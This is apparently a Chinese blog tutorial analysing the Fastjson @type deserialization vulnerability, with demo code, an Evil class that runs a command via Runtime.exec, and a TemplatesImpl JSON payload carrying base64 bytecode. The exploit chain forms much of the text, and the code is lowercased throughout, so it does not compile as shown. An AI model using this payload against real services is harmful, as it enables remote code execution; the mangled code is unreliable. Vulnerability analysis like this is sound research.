亲手带你解决Debug Fastjson的安全漏洞

简介

java处理json数据有三个比较流行的类库，gson(google维护)、jackson、以及今天的主角fastjson，fastjson是阿里巴巴一个开源的json相关的java library，地址在这里，

，

fastjson可以将java的对象转换成json的形式，也可以用来将json转换成java对象，效率较高，被广泛的用在web服务以及android上，它的jsonstring（）方法可以将java的对象转换成json格式，同样通过parseobject方法可以将json数据转换成java的对象。

大概在4月18号的时候，fastjson进行了一次安全更新，通告在这里

，

当时对这也不熟悉，断断续续看了几天也没什么收获(主要是因为太菜了tat)。最近有人出了poc以及分析的文章就跟进了一下，漏洞还是挺有意思。

fastjson简单使用介绍

工欲善其事，必先利其器，要想研究这个漏洞，就要先要了解这个fastjson是干什么的。自己研究了一下这个类库。user.java code如下：

testfastjson.java code如下：

package fastjsonvul.fastjsontest;
import java.util.hashmap;
import java.util.map;
import com.alibaba.fastjson.json;
import com.alibaba.fastjson.parser.feature;
import com.alibaba.fastjson.serializer.serializerfeature;
import fastjsonvul.fastjsontest.user;
public class testfastjson {
        
    public static void main(string[] args){
        map<string, object> map = new hashmap<string, object>();
        map.put("key1","one");
        map.put("key2", "two");
        string mapjson = json.tojsonstring(map);    
        system.out.println(mapjson);
        
        user user1 = new user();
        user1.setusername("果汁简历");
        user1.setsex("male");    
        system.out.println("obj name:"+user1.getclass().getname());
        
        //序列化
        string serializedstr = json.tojsonstring(user1);
        system.out.println("serializedstr="+serializedstr);
        
        string serializedstr1 = json.tojsonstring(user1,serializerfeature.writeclassname);
        system.out.println("serializedstr1="+serializedstr1);
        
        //通过parse方法进行反序列化
        user user2 = (user)json.parse(serializedstr1);
        system.out.println(user2.getusername());
        system.out.println();
        
        //通过parseobject方法进行反序列化  通过这种方法返回的是一个jsonobject
        object obj = json.parseobject(serializedstr1);
        system.out.println(obj);
        system.out.println("obj name:"+obj.getclass().getname()+"\n");
        
        //通过这种方式返回的是一个相应的类对象
        object obj1 = json.parseobject(serializedstr1,object.class);
        system.out.println(obj1);
        system.out.println("obj1 name:"+obj1.getclass().getname());
        
    }
}

输出是这样

{"key1":"one","key2":"two"}
obj name:fastjsonvul.fastjsontest.user
serializedstr={"sex":"male","username":"果汁简历","sex":"male","username":"果汁简历"}
serializedstr1={"@type":"fastjsonvul.fastjsontest.user","sex":"male","username":"xiaoming","sex":"male","username":"果汁简历"}
果汁简历

{"username":"果汁简历","sex":"male","sex":"male","username":"果汁简历"}
obj name:com.alibaba.fastjson.jsonobject

fastjsonvul.fastjsontest.user@18769467
obj1 name:fastjsonvul.fastjsontest.user

fastjson漏洞详细

fastjson漏洞出现的地方也就是json.parseobject这个方法上面。

在最开始的时候，只能通过类初始化时候的构造函数或者变量的setter方法执行恶意代码，像是这样

evil.java

import java.io.ioexception;
 
public class evil {
 
    public string getname() {
        system.out.println("i am gettername!");
        return name;
    }
 
    public void setname(string name) {
        system.out.println("i am settername!");
        this.name = name;
    }
 
    public string name;
 
    public int getage() {
        system.out.println("i am getterage!");
        return age;
    }
 
    public void setage(int age) {
        system.out.println("i am setterage!");
        this.age = age;
    }
 
    private int age;
 
    public evil() throws ioexception{
        system.out.println("i am constructor!");
    }
}

import com.alibaba.fastjson.json;
 
import java.io.*;
 
public class app{
    public static void readtobuffer(stringbuffer buffer, string filepath) throws ioexception {
        inputstream is = new fileinputstream(filepath);
        string line; // 用来保存每行读取的内容
        bufferedreader reader = new bufferedreader(new inputstreamreader(is));
        line = reader.readline(); // 读取第一行
        while (line != null) { // 如果 line 为空说明读完了
            buffer.append(line); // 将读到的内容添加到 buffer 中
            buffer.append("\n"); // 添加换行符
            line = reader.readline(); // 读取下一行
        }
        reader.close();
        is.close();
    }
    public static void main( string[] args ) throws ioexception
    {
        stringbuffer buffer = new stringbuffer();
        app.readtobuffer(buffer,"/users/m0rk/vul/fastjson/src/demo.json");
        object obj = json.parseobject(buffer.tostring());
    }
}

demo.json的内容如下

{
 "@type" : "evil1",
 "name" : "m0rk",
 "age"  : "20"}

可以看到通过@type"特性"，就执行了构造函数以及私有和公有成员变量的getter和setter方法。但是这貌似还并没有达到我们想要的结果，因为上面的情况是需要我们能够控制evil这个类（一般是通过文件写入），目前来看不太现实。

还有一种方法就是将编译好的.class或者.jar文件转换成byte[]，然后通过defineclass加载byte[]返回class对象。

安全研究人员发现了这个类

com.sun.org.apache.xalan.internal.xsltc.trax.templatesimpl

这个类存在如下的调用链可加载byte[]完成.class文件中对象的实例化，注意mailciousclass需要继承abstracttranslet（在definetransle方法中存在一个校验）。更多这个调用链参考链接

 

如上图所示的攻击调用栈信息，可以看到和templatesimpl调用链完全吻合，最终还是通过defineclass加载了bytecodes[]导致了命令执行。

evil.java

import com.sun.org.apache.xalan.internal.xsltc.dom;
import com.sun.org.apache.xalan.internal.xsltc.transletexception;
import com.sun.org.apache.xalan.internal.xsltc.runtime.abstracttranslet;
import com.sun.org.apache.xml.internal.dtm.dtmaxisiterator;
import com.sun.org.apache.xml.internal.serializer.serializationhandler;
import java.io.ioexception;
public class evil extends abstracttranslet {
    public evil() throws ioexception {
        runtime.getruntime().exec("open /applications/calculator.app");
    }
    @override
    public void transform(dom document, dtmaxisiterator iterator, serializationhandler handler) {
    }
 
    public void transform(dom document, com.sun.org.apache.xml.internal.serializer.serializationhandler[] handlers) throws transletexception {
    }
}

import com.alibaba.fastjson.json;
import com.alibaba.fastjson.parser.feature;
import org.apache.commons.io.ioutils;
import org.apache.commons.codec.binary.base64;
 
import java.io.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.templatesimpl;
 
 
public class poc {
 
    public static string readclass(string cls) {
        bytearrayoutputstream bos = new bytearrayoutputstream();
        try {
            ioutils.copy(new fileinputstream(new file(cls)), bos);
        } catch (ioexception e) {
            e.printstacktrace();
        }
        return base64.encodebase64string(bos.tobytearray());
 
    }
 
 
    public static void main(string args[]) throws exception{
//        final string evilclasspath ="/users/m0rk/vul/fastjson/src/evil.class";
//        string evilcode = readclass(evilclasspath);
//        system.out.println(evilcode);
        stringbuffer buffer = new stringbuffer();
        app.readtobuffer(buffer, "/users/m0rk/vul/fastjson/src/evil.json");
        object obj = json.parseobject(buffer.tostring(),object.class,feature.supportnonpublicfield);
 
    }
}

evil.json

{
  "@type" : "com.sun.org.apache.xalan.internal.xsltc.trax.templatesimpl",
  "_bytecodes" : ["yv66vgaaadqaiqoabgatcgauabuiabykabqafwcagacagqeabjxpbml0pgeaaygpvgeabenvzgubaa9maw5ltnvtymvyvgfibgubaapfegnlchrpb25zbwaaaqajdhjhbnnmb3jtaqcmkexjb20vc3vul29yzy9hcgfjaguvegfsyw4vaw50zxjuywwvehnsdgmvre9no0xjb20vc3vul29yzy9hcgfjaguveg1sl2ludgvybmfsl2r0bs9eve1beglzsxrlcmf0b3i7tgnvbs9zdw4vb3jnl2fwywnozs94bwwvaw50zxjuywwvc2vyawfsaxplci9tzxjpywxpemf0aw9usgfuzgxlcjspvgeacihmy29tl3n1bi9vcmcvyxbhy2hll3hhbgful2ludgvybmfsl3hzbhrjl0rptttbtgnvbs9zdw4vb3jnl2fwywnozs94bwwvaw50zxjuywwvc2vyawfsaxplci9tzxjpywxpemf0aw9usgfuzgxlcjspvgcagweaclnvdxjjzuzpbgubaalfdmlslmphdmemaacacacahawahqaeaqahb3blbiavqxbwbgljyxrpb25zl0nhbgn1bgf0b3iuyxbwdaafacabaarfdmlsaqbay29tl3n1bi9vcmcvyxbhy2hll3hhbgful2ludgvybmfsl3hzbhrjl3j1bnrpbwuvqwjzdhjhy3rucmfuc2xldaeae2phdmevaw8vsu9fegnlchrpb24badljb20vc3vul29yzy9hcgfjaguvegfsyw4vaw50zxjuywwvehnsdgmvvhjhbnnszxrfegnlchrpb24babfqyxzhl2xhbmcvunvudgltzqeacmdldfj1bnrpbwubabuokuxqyxzhl2xhbmcvunvudgltztsbaarlegvjaqankexqyxzhl2xhbmcvu3ryaw5noylmamf2ys9syw5nl1byb2nlc3m7aceabqagaaaaaaadaaeabwaiaaiacqaaac4aagabaaaadiq3aag4aaisa7yabfexaaaaaqakaaaadgadaaaacqaeaaoadqalaasaaaaeaaeadaabaa0adgabaakaaaazaaaabaaaaagxaaaaaqakaaaabgabaaaadgabaa0adwacaakaaaazaaaaawaaaagxaaaaaqakaaaabgabaaaaeqalaaaabaababaaaqaraaaaagas"],
  "_name" : "m0rk",
  "_tfactory" : {},
  "outputproperties" : {}
}

总结

关于这个漏洞的构造还是挺精巧，漏洞的利用条件比较苛刻，如要能够利用，开发人员对json的处理函数需要是 json.parseobject(input, object.class,
feature.supportnonpublicfield);

而大部分的开发可能用用json.parse(input)就了事儿了，同时使用了parseobject和
feature.supportnonpublicfield设置的估计不多。所以说实际环境中挖掘fastjson的这个漏洞应该是可遇不可求。

到此这篇关于亲手带你解决debug fastjson的安全漏洞的文章就介绍到这了,更多相关debug fastjson安全漏洞内容请搜索以前的文章或继续浏览下面的相关文章希望大家以后多多支持！